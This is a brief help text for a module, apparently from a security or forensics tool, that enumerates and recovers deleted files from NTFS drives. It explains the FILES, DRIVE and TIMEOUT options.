          This module lists and attempts to recover deleted files from NTFS file systems. Use
          the FILES option to guide recovery. Leave this option empty to enumerate deleted files in the
          DRIVE. Set FILES to an extension (e.g., "pdf") to recover deleted files with that
          extension, or set FILES to a comma separated list of IDs (from enumeration) to
          recover those files. The user must have account file enumeration. Recovery
          may take a long time; use the TIMEOUT option to abort enumeration or recovery by
          extension after a specified period (in seconds).
